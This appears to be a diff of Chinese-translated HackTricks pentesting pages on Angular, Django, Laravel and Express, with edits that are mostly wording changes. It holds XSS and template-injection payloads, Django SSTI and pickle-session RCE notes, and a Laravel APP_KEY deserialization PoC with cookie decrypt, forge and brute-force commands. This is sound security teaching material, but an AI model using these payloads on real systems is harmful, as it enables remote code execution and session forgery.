Angular 提供了一个 `sanitize` 方法来在视图中显示数据之前对其进行清理。此方法使用提供的安全上下文并相应地清理输入。然而,使用特定数据和上下文的正确安全上下文至关重要。例如,在 HTML 内容上应用带有 `SecurityContext.URL` 的清理器并不能提供对危险 HTML 值的保护。在这种情况下,错误使用安全上下文可能导致 XSS 漏洞。
|
||||
Angular 提供了一个 `sanitize` 方法,在将数据显示在视图中之前对其进行清理。该方法采用提供的安全上下文并相应地清理输入。然而,使用特定数据和上下文的正确安全上下文至关重要。例如,在 HTML 内容上应用带有 `SecurityContext.URL` 的清理器并不能保护危险的 HTML 值。在这种情况下,错误使用安全上下文可能导致 XSS 漏洞。
|
||||
|
||||
### HTML 注入
|
||||
|
||||
当用户输入绑定到以下三个属性中的任何一个时,就会发生此漏洞: `innerHTML`、`outerHTML` 或 `iframe` `srcdoc`。虽然绑定到这些属性会按原样解释 HTML,但输入使用 `SecurityContext.HTML` 进行清理。因此,HTML 注入是可能的,但跨站脚本(XSS)则不是。
|
||||
当用户输入绑定到以下三个属性中的任何一个时,就会发生此漏洞: `innerHTML`、`outerHTML` 或 `iframe` `srcdoc`。虽然绑定到这些属性会按原样解释 HTML,但输入会使用 `SecurityContext.HTML` 进行清理。因此,HTML 注入是可能的,但跨站脚本(XSS)则不是。
|
||||
|
||||
使用 `innerHTML` 的示例:
|
||||
```jsx
|
||||
@ -218,9 +218,9 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
|
||||
#### 客户端渲染 (CSR)
|
||||
|
||||
Angular 利用模板动态构建页面。该方法涉及将模板表达式用双大括号(`{{}}`)括起来,以便 Angular 进行评估。通过这种方式,框架提供了额外的功能。例如,像 `{{1+1}}` 这样的模板将显示为 2。
|
||||
Angular 利用模板动态构建页面。该方法涉及将模板表达式用双大括号 (`{{}}`) 包围,以便 Angular 进行评估。通过这种方式,框架提供了额外的功能。例如,模板 `{{1+1}}` 将显示为 2。
|
||||
|
||||
通常,Angular 会转义可能与模板表达式混淆的用户输入(例如,字符如 \`< > ' " \`\)。这意味着需要额外的步骤来绕过此限制,例如利用生成 JavaScript 字符串对象的函数,以避免使用黑名单字符。然而,要实现这一点,我们必须考虑 Angular 的上下文、属性和变量。因此,模板注入攻击可能如下所示:
|
||||
通常,Angular 会转义可能与模板表达式混淆的用户输入(例如,字符如 \`< > ' " \`\)。这意味着需要额外的步骤来规避此限制,例如利用生成 JavaScript 字符串对象的函数,以避免使用黑名单字符。然而,要实现这一点,我们必须考虑 Angular 的上下文、属性和变量。因此,模板注入攻击可能如下所示:
|
||||
```jsx
|
||||
//app.component.ts
|
||||
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
|
||||
@ -229,11 +229,11 @@ selector: 'app-root',
|
||||
template: '<h1>title</h1>' + _userInput
|
||||
})
|
||||
```
|
||||
如上所示:`constructor`指的是对象`constructor`属性的作用域,使我们能够调用字符串构造函数并执行任意代码。
|
||||
如上所示:`constructor`指的是Object `constructor`属性的作用域,使我们能够调用String构造函数并执行任意代码。
|
||||
|
||||
#### 服务器端渲染 (SSR)
|
||||
|
||||
与在浏览器的DOM中发生的CSR不同,Angular Universal负责模板文件的SSR。这些文件随后被传递给用户。尽管有这种区别,Angular Universal仍然应用与CSR相同的清理机制,以增强SSR的安全性。在SSR中发现模板注入漏洞的方法与CSR相同,因为使用的模板语言是相同的。
|
||||
与在浏览器DOM中发生的CSR不同,Angular Universal负责模板文件的SSR。这些文件随后被传递给用户。尽管有这种区别,Angular Universal仍然应用与CSR相同的清理机制,以增强SSR的安全性。在SSR中发现模板注入漏洞的方法与CSR相同,因为使用的模板语言是相同的。
|
||||
|
||||
当然,在使用第三方模板引擎如Pug和Handlebars时,也有可能引入新的模板注入漏洞。
|
||||
|
||||
@ -296,7 +296,7 @@ document.body.appendChild(a);
|
||||
|
||||
在 Angular 中,有一些类可以用于处理 DOM 元素:`ElementRef`、`Renderer2`、`Location` 和 `Document`。关于后两个类的详细描述在 **Open redirects** 部分中给出。前两个类的主要区别在于 `Renderer2` API 提供了一个在 DOM 元素和组件代码之间的抽象层,而 `ElementRef` 仅持有对元素的引用。因此,根据 Angular 文档,`ElementRef` API 应仅在需要直接访问 DOM 时作为最后的手段使用。
|
||||
|
||||
* `ElementRef` 包含属性 `nativeElement`,可用于操作 DOM 元素。然而,不当使用 `nativeElement` 可能导致 XSS 注入漏洞,如下所示:
|
||||
* `ElementRef` 包含属性 `nativeElement`,可以用于操作 DOM 元素。然而,不当使用 `nativeElement` 可能导致 XSS 注入漏洞,如下所示:
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -373,11 +373,11 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 oner
|
||||
<button (click)="setProperty()">Click me!</button>
|
||||
```
|
||||
|
||||
在我们的研究中,我们还检查了其他 `Renderer2` 方法的行为,如 `setStyle()`、`createComment()` 和 `setValue()`,与 XSS 和 CSS 注入的关系。然而,由于它们的功能限制,我们未能找到这些方法的有效攻击向量。
|
||||
在我们的研究中,我们还检查了其他 `Renderer2` 方法的行为,例如 `setStyle()`、`createComment()` 和 `setValue()`,与 XSS 和 CSS 注入的关系。然而,由于它们的功能限制,我们未能找到这些方法的有效攻击向量。
|
||||
|
||||
#### jQuery
|
||||
|
||||
jQuery 是一个快速、小巧且功能丰富的 JavaScript 库,可以在 Angular 项目中用于帮助操作 HTML DOM 对象。然而,众所周知,该库的方法可能被利用以实现 XSS 漏洞。为了讨论一些易受攻击的 jQuery 方法如何在 Angular 项目中被利用,我们添加了这一小节。
|
||||
jQuery 是一个快速、小巧且功能丰富的 JavaScript 库,可以在 Angular 项目中用于操作 HTML DOM 对象。然而,众所周知,该库的方法可能被利用以实现 XSS 漏洞。为了讨论一些易受攻击的 jQuery 方法如何在 Angular 项目中被利用,我们添加了这一小节。
|
||||
|
||||
* `html()` 方法获取匹配元素集合中第一个元素的 HTML 内容,或设置每个匹配元素的 HTML 内容。然而,按设计,任何接受 HTML 字符串的 jQuery 构造函数或方法都可能执行代码。这可能通过注入 `<script>` 标签或使用执行代码的 HTML 属性来发生,如示例所示。
|
||||
|
||||
@ -470,7 +470,7 @@ window.location.href = "https://google.com/about"
|
||||
以下场景的利用过程是相同的。
|
||||
* `window.location.assign()`(和 `document.location.assign()`)
|
||||
|
||||
此方法使窗口加载并显示指定 URL 的文档。如果我们控制此方法,它可能成为开放重定向攻击的一个出口。
|
||||
此方法使窗口加载并显示指定 URL 的文档。如果我们控制此方法,它可能是开放重定向攻击的一个出口。
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -483,7 +483,7 @@ window.location.assign("https://google.com/about")
|
||||
```
|
||||
* `window.location.replace()`(和 `document.location.replace()`)
|
||||
|
||||
此方法用提供的 URL 替换当前资源。
|
||||
此方法用提供的 URL 中的资源替换当前资源。
|
||||
|
||||
与 `assign()` 方法的不同之处在于,使用 `window.location.replace()` 后,当前页面不会保存在会话历史中。然而,当我们控制此方法时,也可以利用开放重定向漏洞。
|
||||
|
||||
@ -498,7 +498,7 @@ window.location.replace("http://google.com/about")
|
||||
```
|
||||
* `window.open()`
|
||||
|
||||
`window.open()` 方法接受一个 URL,并将其标识的资源加载到新标签或现有标签中。控制此方法也可能是触发 XSS 或开放重定向漏洞的机会。
|
||||
`window.open()` 方法接受一个 URL,并将其识别的资源加载到新标签或现有标签中。控制此方法也可能是触发 XSS 或开放重定向漏洞的机会。
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -535,7 +535,7 @@ this.document.location.href = 'https://google.com/about';
|
||||
//app.component.html
|
||||
<button type="button" (click)="goToUrl()">Click me!</button>
|
||||
```
|
||||
* 在研究阶段,我们还审查了 Angular `Location` 类的开放重定向漏洞,但未发现有效向量。`Location` 是一个 Angular 服务,应用程序可以用来与浏览器的当前 URL 进行交互。该服务有几个方法来操作给定的 URL - `go()`、`replaceState()` 和 `prepareExternalUrl()`。然而,我们无法使用它们进行重定向到外部域。例如:
|
||||
* 在研究阶段,我们还审查了 Angular `Location` 类的开放重定向漏洞,但未发现有效向量。`Location` 是一个 Angular 服务,应用程序可以使用它与浏览器的当前 URL 进行交互。该服务有几个方法来操作给定的 URL - `go()`、`replaceState()` 和 `prepareExternalUrl()`。然而,我们无法使用它们进行重定向到外部域。例如:
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -606,4 +606,4 @@ this.router.navigateByUrl('URL')
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,29 +1,29 @@
|
||||
# Django
|
||||
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 缓存操控导致RCE
|
||||
Django的默认缓存存储方法是[Python pickles](https://docs.python.org/3/library/pickle.html),如果[不受信任的输入被反序列化](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf),可能导致RCE。**如果攻击者能够获得对缓存的写入访问权限,他们可以将此漏洞升级为底层服务器上的RCE**。
|
||||
## 缓存操控到 RCE
|
||||
Django 的默认缓存存储方法是 [Python pickles](https://docs.python.org/3/library/pickle.html),如果 [不受信任的输入被反序列化](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf),可能导致 RCE。**如果攻击者能够获得对缓存的写入访问权限,他们可以将此漏洞升级为底层服务器上的 RCE**。
|
||||
|
||||
Django缓存存储在四个地方之一:[Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12)、[内存](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16)、[文件](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16)或[数据库](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)。存储在Redis服务器或数据库中的缓存是最可能的攻击向量(Redis注入和SQL注入),但攻击者也可能利用基于文件的缓存将任意写入转化为RCE。维护者已将此标记为非问题。需要注意的是,缓存文件夹、SQL表名和Redis服务器的详细信息将根据实现而有所不同。
|
||||
Django 缓存存储在四个地方之一:[Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12)、[内存](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16)、[文件](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) 或 [数据库](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)。存储在 Redis 服务器或数据库中的缓存是最可能的攻击向量(Redis 注入和 SQL 注入),但攻击者也可能利用基于文件的缓存将任意写入转化为 RCE。维护者已将此标记为非问题。需要注意的是,缓存文件夹、SQL 表名和 Redis 服务器的详细信息将根据实现而有所不同。
|
||||
|
||||
此HackerOne报告提供了一个很好的、可重现的利用Django缓存存储在SQLite数据库中的示例:https://hackerone.com/reports/1415436
|
||||
此 HackerOne 报告提供了一个很好的、可重现的利用 Django 缓存存储在 SQLite 数据库中的示例:https://hackerone.com/reports/1415436
|
||||
|
||||
---
|
||||
|
||||
## 服务器端模板注入(SSTI)
|
||||
Django模板语言(DTL)是**图灵完备**的。如果用户提供的数据被渲染为*模板字符串*(例如通过调用`Template(user_input).render()`或当`|safe`/`format_html()`移除自动转义时),攻击者可能实现完整的SSTI → RCE。
|
||||
## 服务器端模板注入 (SSTI)
|
||||
Django 模板语言 (DTL) 是 **图灵完备** 的。如果用户提供的数据被渲染为 *模板字符串*(例如通过调用 `Template(user_input).render()` 或当 `|safe`/`format_html()` 移除自动转义时),攻击者可能会实现完整的 SSTI → RCE。
|
||||
|
||||
### 检测
|
||||
1. 查找对`Template()` / `Engine.from_string()` / `render_to_string()`的动态调用,这些调用包含*任何*未清理的请求数据。
|
||||
1. 查找对 `Template()` / `Engine.from_string()` / `render_to_string()` 的动态调用,这些调用包含 *任何* 未经过滤的请求数据。
|
||||
2. 发送基于时间或算术的有效负载:
|
||||
```django
|
||||
{{7*7}}
|
||||
```
|
||||
如果渲染的输出包含`49`,则输入被模板引擎编译。
|
||||
如果渲染的输出包含 `49`,则输入被模板引擎编译。
|
||||
|
||||
### 从原始到RCE
|
||||
Django阻止对`__import__`的直接访问,但Python对象图是可达的:
|
||||
### 原语到 RCE
|
||||
Django 阻止对 `__import__` 的直接访问,但 Python 对象图是可达的:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()}}
|
||||
```
|
||||
@ -38,7 +38,7 @@ Django阻止对`__import__`的直接访问,但Python对象图是可达的:
|
||||
---
|
||||
|
||||
## 基于 Pickle 的会话 Cookie RCE
|
||||
如果设置 `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` 被启用(或自定义反序列化 pickle 的序列化器),Django *在* 调用任何视图代码 **之前** 解密并反序列化会话 Cookie。因此,拥有有效的签名密钥(默认情况下是项目的 `SECRET_KEY`)足以实现即时远程代码执行。
|
||||
如果设置 `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` 被启用(或自定义反序列化 pickle 的序列化器),Django *在* 调用任何视图代码 **之前** 解密并反序列化会话 Cookie。因此,拥有有效的签名密钥(默认情况下是项目的 `SECRET_KEY`)足以实现立即的远程代码执行。
|
||||
|
||||
### 利用要求
|
||||
* 服务器使用 `PickleSerializer`。
|
||||
@ -76,4 +76,4 @@ print(f"sessionid={mal}")
|
||||
* Django 安全发布 – "Django 5.2.2, 5.1.10, 4.2.22 解决 CVE-2025-48432" – 2025 年 6 月 4 日。
|
||||
* OP-Innovate: "Django 发布安全更新以解决 SQL 注入缺陷 CVE-2024-42005" – 2024 年 8 月 11 日。
|
||||
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,17 +1,17 @@
|
||||
# Laravel
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Laravel SQLInjection
|
||||
### Laravel SQL注入
|
||||
|
||||
有关此信息,请阅读这里: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
在这里阅读相关信息: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
---
|
||||
|
||||
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
|
||||
## APP_KEY & 加密内部机制 (Laravel \u003e=5.6)
|
||||
|
||||
Laravel 在底层使用 AES-256-CBC(或 GCM)和 HMAC 完整性 (`Illuminate\\Encryption\\Encrypter`)。
|
||||
最终**发送给客户端**的原始密文是**一个 JSON 对象的 Base64**,例如:
|
||||
Laravel 在底层使用 AES-256-CBC (或 GCM) 和 HMAC 完整性 (`Illuminate\\Encryption\\Encrypter`)。
|
||||
最终**发送到客户端**的原始密文是**一个 JSON 对象的 Base64**,例如:
|
||||
```json
|
||||
{
|
||||
"iv" : "Base64(random 16-byte IV)",
|
||||
@ -20,9 +20,9 @@ Laravel 在底层使用 AES-256-CBC(或 GCM)和 HMAC 完整性 (`Illuminate\
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)` 默认会对明文进行 `serialize()`,而 `decrypt($payload, $unserialize=true)` **会自动 `unserialize()`** 解密后的值。因此 **任何知道 32 字节秘密 `APP_KEY` 的攻击者都可以构造一个加密的 PHP 序列化对象,并通过魔术方法 (`__wakeup`, `__destruct`, …) 获得 RCE**。
|
||||
`encrypt($value, $serialize=true)` 默认会对明文进行 `serialize()`,而 `decrypt($payload, $unserialize=true)` **会自动 `unserialize()`** 解密后的值。因此 **任何知道 32 字节秘密 `APP_KEY` 的攻击者都可以构造一个加密的 PHP 序列化对象,并通过魔术方法(`__wakeup`,`__destruct`,…)获得 RCE**。
|
||||
|
||||
最小 PoC (框架 ≥9.x):
|
||||
最小 PoC(框架 ≥9.x):
|
||||
```php
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
@ -54,7 +54,7 @@ laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
| 项目 | 漏洞接收点 | Gadget 链 |
|
||||
|---------|-----------------|--------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie 当 `Passport::withCookieSerialization()` 被启用时 | Laravel/RCE9 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | 启用 `Passport::withCookieSerialization()` 时的 `XSRF-TOKEN` cookie | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
|
||||
|
||||
利用工作流程始终是:
|
||||
@ -65,14 +65,14 @@ laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
|
||||
---
|
||||
|
||||
## 通过 cookie 暴力破解大规模发现 APP_KEY
|
||||
## 通过 cookie 暴力破解进行大规模 APP_KEY 发现
|
||||
|
||||
因为每个新的 Laravel 响应至少设置 1 个加密 cookie(`XSRF-TOKEN` 和通常的 `laravel_session`),**公共互联网扫描器(Shodan, Censys, …)泄漏数百万个密文**,可以离线攻击。
|
||||
|
||||
Synacktiv 发布的研究的主要发现(2024-2025):
|
||||
* 数据集 2024 年 7 月 » 580 k tokens,**3.99 % 密钥被破解**(≈23 k)
|
||||
* 数据集 2025 年 5 月 » 625 k tokens,**3.56 % 密钥被破解**
|
||||
* >1 000 服务器仍然易受旧版 CVE-2018-15133 的影响,因为令牌直接包含序列化数据。
|
||||
* >1 000 服务器仍然易受遗留 CVE-2018-15133 的影响,因为令牌直接包含序列化数据。
|
||||
* 巨大的密钥重用 – 前 10 个 APP_KEY 是与商业 Laravel 模板(UltimatePOS, Invoice Ninja, XPanel, …)一起提供的硬编码默认值。
|
||||
|
||||
私有 Go 工具 **nounours** 将 AES-CBC/GCM 暴力破解吞吐量提升至 ~1.5 亿次尝试/秒,将完整数据集破解时间缩短至 <2 分钟。
|
||||
@ -85,9 +85,6 @@ Synacktiv 发布的研究的主要发现(2024-2025):
|
||||
* [PHPGGC – PHP 通用 Gadget 链](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 详细说明 (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Laravel 技巧
|
||||
|
||||
### 调试模式
|
||||
@ -101,11 +98,11 @@ Synacktiv 发布的研究的主要发现(2024-2025):
|
||||
|
||||
### .env
|
||||
|
||||
Laravel 将用于加密 cookies 和其他凭据的 APP 保存到一个名为 `.env` 的文件中,可以通过以下路径遍历访问:`/../.env`
|
||||
Laravel 将用于加密 cookie 和其他凭据的 APP 保存到一个名为 `.env` 的文件中,可以通过某些路径遍历访问:`/../.env`
|
||||
|
||||
Laravel 还会在调试页面中显示此信息(当 Laravel 发现错误并激活时会出现)。
|
||||
|
||||
使用 Laravel 的秘密 APP_KEY,您可以解密和重新加密 cookies:
|
||||
使用 Laravel 的秘密 APP_KEY,您可以解密和重新加密 cookie:
|
||||
|
||||
### 解密 Cookie
|
||||
```python
|
||||
@ -177,13 +174,13 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
|
||||
|
||||
### CVE-2021-3129
|
||||
|
||||
另一个反序列化漏洞:[https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
||||
另一个反序列化:[https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
|
||||
|
||||
### Laravel SQL注入
|
||||
### Laravel SQLInjection
|
||||
|
||||
在这里阅读有关此内容的信息:[https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
### Laravel SQL注入
|
||||
### Laravel SQLInjection
|
||||
|
||||
在这里阅读有关此内容的信息:[https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
|
||||
|
||||
@ -192,7 +189,7 @@ encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2
|
||||
## APP_KEY & 加密内部机制 (Laravel \u003e=5.6)
|
||||
|
||||
Laravel 在底层使用 AES-256-CBC(或 GCM)和 HMAC 完整性 (`Illuminate\\Encryption\\Encrypter`)。
|
||||
最终 **发送到客户端** 的原始密文是 **一个 JSON 对象的 Base64**,例如:
|
||||
最终**发送到客户端**的原始密文是**一个 JSON 对象的 Base64**,例如:
|
||||
```json
|
||||
{
|
||||
"iv" : "Base64(random 16-byte IV)",
|
||||
@ -203,7 +200,7 @@ Laravel 在底层使用 AES-256-CBC(或 GCM)和 HMAC 完整性 (`Illuminate\
|
||||
```
|
||||
`encrypt($value, $serialize=true)` 默认会对明文进行 `serialize()`,而 `decrypt($payload, $unserialize=true)` **会自动 `unserialize()`** 解密后的值。因此 **任何知道 32 字节秘密 `APP_KEY` 的攻击者都可以构造一个加密的 PHP 序列化对象,并通过魔术方法 (`__wakeup`, `__destruct`, …) 获得 RCE**。
|
||||
|
||||
最小 PoC (框架 ≥9.x):
|
||||
最小 PoC (框架 ≥9.x):
|
||||
```php
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
|
||||
@ -226,7 +223,7 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
|
||||
# Try a word-list of keys against a token (offline)
|
||||
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
```
|
||||
该脚本透明地支持 CBC 和 GCM 有效负载,并重新生成 HMAC/tag 字段。
|
||||
脚本透明地支持 CBC 和 GCM 有效负载,并重新生成 HMAC/tag 字段。
|
||||
|
||||
---
|
||||
|
||||
@ -251,9 +248,9 @@ laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
|
||||
因为每个新的 Laravel 响应至少设置 1 个加密 cookie(`XSRF-TOKEN` 和通常的 `laravel_session`),**公共互联网扫描器(Shodan, Censys, …)泄漏数百万个密文**,可以离线攻击。
|
||||
|
||||
Synacktiv 发布的研究的主要发现(2024-2025):
|
||||
* 数据集 2024 年 7 月 » 580 k tokens,**3.99 % 密钥被破解**(≈23 k)
|
||||
* 数据集 2025 年 5 月 » 625 k tokens,**3.56 % 密钥被破解**
|
||||
* >1 000 服务器仍然易受旧版 CVE-2018-15133 的攻击,因为令牌直接包含序列化数据。
|
||||
* 数据集 2024 年 7 月 » 580 k tokens, **3.99 % 密钥被破解** (≈23 k)
|
||||
* 数据集 2025 年 5 月 » 625 k tokens, **3.56 % 密钥被破解**
|
||||
* >1 000 服务器仍然易受遗留 CVE-2018-15133 的影响,因为令牌直接包含序列化数据。
|
||||
* 巨大的密钥重用 – 前 10 个 APP_KEY 是与商业 Laravel 模板(UltimatePOS, Invoice Ninja, XPanel, …)一起提供的硬编码默认值。
|
||||
|
||||
私有 Go 工具 **nounours** 将 AES-CBC/GCM 暴力破解吞吐量提升至 ~1.5 亿次尝试/秒,将完整数据集破解时间缩短至 <2 分钟。
|
||||
@ -264,6 +261,6 @@ Synacktiv 发布的研究的主要发现(2024-2025):
|
||||
* [Laravel: APP_KEY 泄漏分析](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
|
||||
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
||||
* [PHPGGC – PHP 通用 Gadget 链](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 详细说明 (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
* [CVE-2018-15133 详细分析 (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# NodeJS Express
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cookie Signature
|
||||
|
||||
@ -28,4 +28,4 @@ cookie-monster -b -f cookies.json -w custom.lst
|
||||
```bash
|
||||
cookie-monster -e -f new_cookie.json -k secret
|
||||
```
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -62,8 +62,3 @@ Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# DApps - 去中心化应用
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 什么是 DApp?
|
||||
|
||||
@ -12,29 +12,29 @@ DApp 是一种去中心化应用,运行在点对点网络上,而不是托管
|
||||
|
||||
### "无 API" DApps
|
||||
|
||||
这些 DApp 建立在区块链之上,不依赖于任何集中式 API 或后端。你可以认为区块链是应用的实际后端。它们是 **完全去中心化** 的,可以直接通过区块链访问。
|
||||
这些 DApp 建立在区块链之上,不依赖任何集中式 API 或后端。你可以认为区块链是应用的实际后端。它们是 **完全去中心化** 的,可以直接通过区块链访问。
|
||||
|
||||
为了与区块链交互,客户端通常会使用 **钱包**。钱包将签署交易并将其发送到区块链。客户端也可能使用 **节点** 从区块链读取数据。
|
||||
|
||||
### "启用 API" DApps
|
||||
|
||||
这些 DApp 建立在区块链之上,但也依赖于集中式 API,通常用于收集信息。它们是 **大部分去中心化** 的,因为即使依赖于集中式 API,DApp 的核心功能仍然在区块链上。客户端与区块链的通信通常通过 **钱包** 完成。
|
||||
这些 DApp 建立在区块链之上,但也依赖集中式 API,通常用于收集信息。它们是 **大部分去中心化** 的,因为即使依赖于集中式 API,DApp 的核心功能仍然在区块链上。客户端与区块链的通信通常通过 **钱包** 完成。
|
||||
|
||||
这种类型 DApp 的一个好例子是 **NFT 铸造应用**。服务器允许上传图像,但铸造是通过钱包由客户端完成的。
|
||||
|
||||
### "全规模" DApps
|
||||
|
||||
这些 DApp 建立在区块链之上,但也依赖于集中式 API 和后端服务器。它们 **可能是部分去中心化** 的,因为客户端可能能够使用钱包在区块链上执行操作。然而,通常情况下,**后端也能够在区块链上执行操作**。
|
||||
这些 DApp 建立在区块链之上,但也依赖集中式 API 和后端服务器。它们 **可能是部分去中心化** 的,因为客户端可能能够使用钱包在区块链上执行操作。然而,通常 **后端也能够在区块链上执行操作**。
|
||||
|
||||
这种类型 DApp 的一个好例子是跨链桥,其中需要一个链外组件来 **与不同区块链中的智能合约进行通信** 以执行资产转移。
|
||||
这种类型 DApp 的一个好例子是跨链桥,其中需要一个链下组件来 **与不同区块链中的智能合约通信** 以执行资产转移。
|
||||
|
||||
## Web2 漏洞
|
||||
|
||||
Web2 漏洞仍然影响这些类型的应用,尽管它们的影响可能有所不同:
|
||||
|
||||
- **客户端漏洞** 的影响增加,因为在 Web3 DApp 中,客户端通常是 **通过钱包在区块链上执行操作** 的。这意味着像 XSS 这样的攻击能够在客户端执行 JS 代码或篡改页面内容,可能会产生更大的影响,因为它们可以 **与钱包交互** 并说服用户在区块链上执行不希望的操作。
|
||||
- 请注意,通常即使在这些类型的应用中,客户端仍然可以在使用钱包签署操作之前进行审查。然而,如果攻击者能够篡改页面内容,它可以说服用户签署一笔将在区块链上执行不希望的操作的交易。
|
||||
- **服务器端漏洞** 在依赖后端服务器的 DApp 中仍然存在。这些漏洞的影响将取决于 DApp 的架构。然而,它们仍然可能非常有问题,因为攻击者可能会在后端找到 **公司的密钥** 来访问智能合约的资金,或者可能执行账户接管,从而允许他们窃取用户的资金或 NFT。
|
||||
- 请注意,通常即使在这些类型的应用中,客户端仍然可以在用钱包签署之前审查操作。然而,如果攻击者能够篡改页面内容,它可以说服用户签署一笔将在区块链上执行不希望的操作的交易。
|
||||
- **服务器端漏洞** 在依赖后端服务器的 DApp 中仍然存在。这些漏洞的影响将取决于 DApp 的架构。然而,它们仍然可能非常有问题,因为攻击者可能在后端找到 **公司的密钥** 来访问智能合约的资金,或者可能执行账户接管,从而窃取用户的资金或 NFT。
|
||||
|
||||
当然,如果 DApp 不使用后端,或者所使用的后端仅提供公共链数据或静态页面,则 DApp 的攻击面会减少。
|
||||
|
||||
@ -48,33 +48,33 @@ Web3 DApp 漏洞可能可以分为以下几类:
|
||||
|
||||
- **智能合约驱动的后端攻击**:在没有验证的情况下在合约和数据库之间存储或同步敏感数据、未检查的事件发射或合约地址,以及可利用的合约漏洞可能会污染后端逻辑。
|
||||
|
||||
- **有缺陷的加密资产操作**:错误处理不同类型的代币(原生与 ERC-20)、忽略小数精度、转账失败或内部交易,以及在没有验证的情况下接受假冒、通货紧缩、重置或易滑点的代币,从而通过代币元数据启用有效载荷注入。
|
||||
- **有缺陷的加密资产操作**:错误处理不同类型的代币(原生与 ERC-20)、忽略小数精度、失败的转账或内部交易,以及在没有验证的情况下接受假冒、通货紧缩、重置或易滑动的代币,从而通过代币元数据启用有效载荷注入。
|
||||
|
||||
